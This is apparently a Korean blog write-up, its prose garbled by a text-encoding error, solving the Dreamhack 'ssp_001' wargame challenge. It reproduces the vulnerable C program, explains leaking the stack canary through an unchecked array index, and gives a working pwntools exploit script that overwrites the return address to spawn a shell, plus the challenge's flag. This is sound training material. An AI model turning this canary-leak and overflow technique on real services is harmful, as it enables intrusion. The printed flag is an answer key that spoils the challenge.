๋ฌธ์ ํ์ด
๋ฉ๋ชจ๋ฆฌ ๋ณดํธ ๊ธฐ๋ฒ์ ๋จผ์ ๋ณด์๋ฉด canary์ ์ฉ๊ณผ NX๊ฐ ์์ฃ RELRO๋ ์ ๊ฒ ๋๊ฑด๊ฐ?
Relro๋ ๋ค์์ ์์ธํ ์์ ํ ์๊ฐ์ด ์ค๊ฒ ์ฃ ๊ทธ๋ฌ๋ ์ด ๋ด์ฉ์ ํจ์คํ๊ณ
์ฝ๋๋ฅผ ๋ณด๋ฉด์ ๋ญ๊ฐ ์ทจ์ฝํ ์ฝ๋์ธ์ง ์ํ์ด ์ฝ๋ฉ๊ณผ ์ ์ฌํ๊ฒ ์ง์ ๊น์ง ํด๋ณผ๊น์
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465 #include <stdio.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>void alarm_handler() {puts("TIME OUT");exit(-1);}void initialize() {setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);signal(SIGALRM, alarm_handler);alarm(30);}void get_shell() {system("/bin/sh");}void print_box(unsigned char *box, int idx) {printf("Element of index %d is : %02x\n", idx, box[idx]);}void menu() {puts("[F]ill the box");puts("[P]rint the box");puts("[E]xit");printf("> ");}int main(int argc, char *argv[]) {unsigned char box[0x40] = {};char name[0x40] = {};char select[2] = {};int idx = 0, name_len = 0;initialize();while(1) {menu();read(0, select, 2);switch( select[0] ) {case 'F':printf("box input : ");read(0, box, sizeof(box));break;case 'P':printf("Element index : ");scanf("%d", &idx);print_box(box, idx);break;case 'E':printf("Name Size : ");scanf("%d", &name_len);printf("Name : ");read(0, name, name_len);return 0;default:break;}}}cs
์ด ์ฝ๋์
๋๋ค. ์ ๋ชฉ๊ณผ ์ฃผ์ ๊ฐ ์ฃผ์ ์ด๋ฏ๋ก ๋น์ฐํ BOF๊ฐ ์ ์ด๋ ๋ ๋ฒ ๋์ค๊ฒ ์ฃ
์ฝ๋๋ฅผ ๋ณด์๋ฉด...
์์งํ ์ case ๋ชจ๋ ์ทจ์ฝํ ์ฝ๋์ด๊ธด ํด์ ๋ญ๊ฐ ๋ฌธ์ ์ธ์ง ํ๋์ฉ ์์๋ณผ๊น์
์ ์ฝ๋๋ BOF๋ฅผ ๋ฐ์์ํฌ ์ ์์ง๋ง ์น๋ช
์ ์ธ ์ฝ๋ ์คํ๊น์ง๋ ๋ถ๊ฐ๋ฅํ๋ฏ๋ก Canary๊ฐ์ ์์ฑํ๋๋ฐ..
์๋ํ๋ฉด Box์ ๋ณ์๋ช
์ธ ๋ณ์ ๋ฐฐ์ด์ ๊ธธ์ด๊ฐ 0x40์ด๋๊น ๊ทธ ์ด์์ผ๋ก ์
๋ ฅํ์๋ฉด ๋๊ฒ ์ฃ
๋ ๋ฒ์งธ ์ฝ๋๋ ์ฐ๋ฆฌ๊ฐ ์
๋ ฅ๊ฐ์ ์ธ์์ ๊ธธ์ด๋ฅผ ์ง์ ํ๊ธฐ์ ๋น์ฐํ BOF๋ฅผ ๋ฐ์์ํฌ ์ ์๊ฒ ์ฃ
ํนํ print_box์์ ๊ฐ์ ์ถ๋ ฅํ๋ฏ๋ก ์ด ์ฝ๋๋ฅผ ํตํด Canary ๊ฐ์ ์ป์ด ๋ฆญ์ ์์ผ์ผํฉ๋๋ค!
์ ์ฝ๋๋ฅผ ๋ถ์ํ๋ฉด ์ฐธ ๋ถํธํ๊ฒ 0x2๋งํผ ์ถ๋ ฅ์ ์กฐ๋์ฉ ํ๋ฏ๋ก ์ด ์ ์ ์ฃผ์ํด์ ๋ฐ๋ณต๋ฌธ์ผ๋ก
๊ฐ์ ์ป์ด ๋์ ์์ผ ์ป์ด Canary๋ฆญ์ ์คํ์์ผ๋ด
์๋ค.
์ด์ ์ป์ ๊ฒ๋ค๋ก ์ฌ์ด์ฆ ํ์ธํ๊ณ BOF๋ฅผ ์ผ์ผํค๋ฉฐ ํ์ธํ์๋ฉด ์๋ฒฝํ๊ฒ ์ต์คํ๋ก์!
์ฐธ๊ณ ๋ก ๊ตฌ์ฑ์ ์๋ก์ ๊ฐ์ด ๋์ด์์ด์
์ฝ๋ ์ฌ์ธต ๋ถ์!
IDA(ํน์ gdb๋ก ํ์
๋ ๋์)๋ก ๋ณด์๋ฉด var_8์ qword ptr(ebp-0x8)์ด๋ผ๋ ์ด์ผ๊ธฐ์ด๋ฉฐ
gdb์์ main+25(ebp-0x8)๋ก canary๊ฐ์ ์นํํฉ๋๋ค.
์ฐธ๊ณ ๋ก ์ด ๋ฒํผ๊ฐ์ [ebp-0x98]๋ก ์ก์๋๋ฐ ebp-0x88๋ก ์ฃผ์๋ฅผ ์นํํ๋ stack alignment๋์ด์ฃ
๊ทธ๋ฌํ๋ค๋ฉด ์ค์ ๋ก ๋ฐฐ์ด ๋ด์ฉ๋๋ก ๊ทธ๋ฆฌ๊ณ ์ต์ํด์ง๊ธฐ์ํด ๊ฐ์ ๋ฃ๊ณ ์คํํ๊ธฐ ์ง์ ํด๋ด์ผ์ง๋ง
๋ ์ข์ ๋ฐฉ๋ฒ์ด ์์ฃ pwntools๋ก ์ฝ๋๋ฅผ ์ง๋ฉด์ ๋ฐ๋ก ํ์ธํ ์ ์๋ ๋ฐฉ๋ฒ์ธ gdb.attach๋ฅผ ์ฌ์ฉํ๋ฉด ๋์
์์ธํ ์ฌ์ฉ๋ฐฉ๋ฒ์ ์๋ก ๋งํฌ๋ฅผ ํ์ธํด์ฃผ์ธ์(์ง๊ธ๊น์ง ์ ๋ ๋ง์ด ๋ณต์กํ ์ฝ๋๋ฅผ ํ๋ ๊ฑด ์๋๋ผ ๋ฑํ..)
์ฌ๊ธฐ์ ์๊ตฌ์ฌ์ด ๋ค์ด์ผ ์ ์์ธ ๋ถ๋ถ์ด ํ๋ ์์ด์
x86-64(x86)์ธ ์ํคํ
์ฒ์ canary๊ฐ์ด ์ 8byte๋ฅผ ๋ฐ์๊น?
์๋ง stack alignment์ ์ด์ ์์ ๋ฐ๊ฑฐ๋ ํน์ ์ฐ๋ฆฌ ์คํํ๋ ํ๊ฒฝ์ด x64ํ๊ฒฝ์ผ๋ก ์๋์ผ๋ก ๋ฐ๊ธฐ์
๋ฉ๋ชจ๋ฆฌ ์ต์ ํ ๋ฐ ๊ธฐํ ๋ณด์์ ์ด์ ๋ก ์ปดํ์ผ ํ๊ฒฝ์ ๋ง์ถ์ด ๋ฐ๋ ๊ฒ์ผ๋ก ์ถ์ธกํฉ๋๋ค.. ์๋ง๋?
pwntools gdb.attach ์ฌ์ฉ๋ฒ - python process debugging
gdb.attach ์ฌ์ฉ๋ฒ wargame์ด๋ ctf ๋ฌธ์ ๋ฅผ ํ ๋, ํน์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถ์ ํ ๋ ํ์ด์ฌ์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ๊ฐ ์์ฃผ์๋ค. example> p = process("binary") p.sendline("AAAA") ์ด ๋ ๋ด๊ฐ ์ ๋ ฅํ ๋ฐ์ดํฐ๊ฐ..
cosyp.tistory.com
์๋๋ฆฌ์ค ํ์
๋๋ฌ๊ณ ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ํ์ธํด๋ณผ๊น์?
์ฃผ์ ๋ค ํด๋์ ๋ฑํ ์ฝ๋ ์ค๋ช
์ ์ํด๋ ๋๊ฒ ์ฃ ?
123456789101112131415161718192021222324252627282930313233343536373839404142434445 #!/bin/usr/python3from pwn import *def slog(n, m): return success(':'.join([str(n), hex(m)]))p = process('./ssp_001')#p = remote('host1.dreamhack.games', 15060)context(arch='amd64', os='linux')context.log_level = 'debug'e = ELF('./ssp_001')#gdb disamble checking#gdb.attach(p)#[1] Get information buf(Canary and get_shell address)sh = p32(e.symbols['get_shell']) #get_shell addr gettingcnry = b'' #canary 4byte stackp.sendlineafter('> ', 'F')p.sendlineafter('input : ', b'A'*0x41) #because frist byte is nullbyte so, name buf 40byte + 1byte(null_byte)for idx in range(4): # canary 4byte bufp.sendlineafter('> ', 'P')p.sendlineafter('index : ', chr(0x80 + idx)) #code is 02x ffush so, Repeat four times idx checkingp.recvuntil('is : ')cnry += p.recvuntil('\n')[:2] #because frist byte is null byte \x00cnry = int(cnry, 16)slog('Address Canary', cnry)slog('Address get_shell', u32(sh))#[2] Canary lack using#payload = sh.rjust(0x40, u"A") + p32(cnry) + b'B'*0x4payload = b'A'*0x40 + p32(cnry) + b'B'*0x8 + sh# payload_len = len(payload.decode('utf-8', 'backslashreplace'))p.sendlineafter('> ', 'E')p.sendlineafter('Size : ', '80')p.sendafter('Name : ', payload)p.interactive()cs
์ฐธ๊ณ ๋ก ์ ์ ์ฝ๋์์ canary ๋ฆญ ์ป๋ ๊ณผ์ ์์ cnry+= ์ด๋ฐ ์์ผ๋ก ํด๋ ๋ ์ค ์์๋๋ฐ
๋ฆฌํ์๋์ ์นํ ๊ณผ์ ์ด๋ ๋ฐ๋ ๊ณผ์ ์์ ์ ๋ฐ ์์ผ๋ก ํ๋ฉด ์๋๋๋ผ๊ณ ์ ์์ธ์ง.. ๋ฑํ ์ดํด๊ฐ ์๊ฐ๋๋ฐ
์ฐฌ์ฐฌํ ๋ด๋ณด์๋ฉด ์ดํด๊ฐ ๋ ๊ฑฐ์์ ๋๋จธ์ง ๋ชจ๋ฅด๋ ์ฝ๋๋ ์ฒ์ฒํ ๋ด๋ณด์ธ์
์ฐธ๊ณ ๋ก ์คํํ๋ค๋ณด๋ฉด ๋ง ByteError ๋จ๋ฉด์ ๋จธ๋ผ๋จธ๋ผ ๋จ๋๋ฐ ๋ฌด์ํ์ ๋ ๋์
DH{00c609773822372daf2b7ef9adbdb824}
์ฐธ๊ณ ์๋ฃ
ssp_001
Desciption ์ด ๋ฌธ์ ๋ ์๋ํ๊ณ ์๋ ์๋น์ค(ssp_001)์ ๋ฐ์ด๋๋ฆฌ์ ์์ค์ฝ๋๊ฐ ์ฃผ์ด์ง๋๋ค. ํ๋ก๊ทธ๋จ์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ SSP ๋ฐฉ์ด ๊ธฐ๋ฒ์ ์ฐํํ์ฌ ์ต์คํ๋ก์ํด ์ ธ์ ํ๋ํ ํ, "flag" ํ์ผ์ ์ฝ์ผ์ธ์
dreamhack.io
์ฐธ๊ณ ์ด๋ฏธ์ง
ssp_001
Desciption ์ด ๋ฌธ์ ๋ ์๋ํ๊ณ ์๋ ์๋น์ค(ssp_001)์ ๋ฐ์ด๋๋ฆฌ์ ์์ค์ฝ๋๊ฐ ์ฃผ์ด์ง๋๋ค. ํ๋ก๊ทธ๋จ์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ SSP ๋ฐฉ์ด ๊ธฐ๋ฒ์ ์ฐํํ์ฌ ์ต์คํ๋ก์ํด ์ ธ์ ํ๋ํ ํ, "flag" ํ์ผ์ ์ฝ์ผ์ธ์
dreamhack.io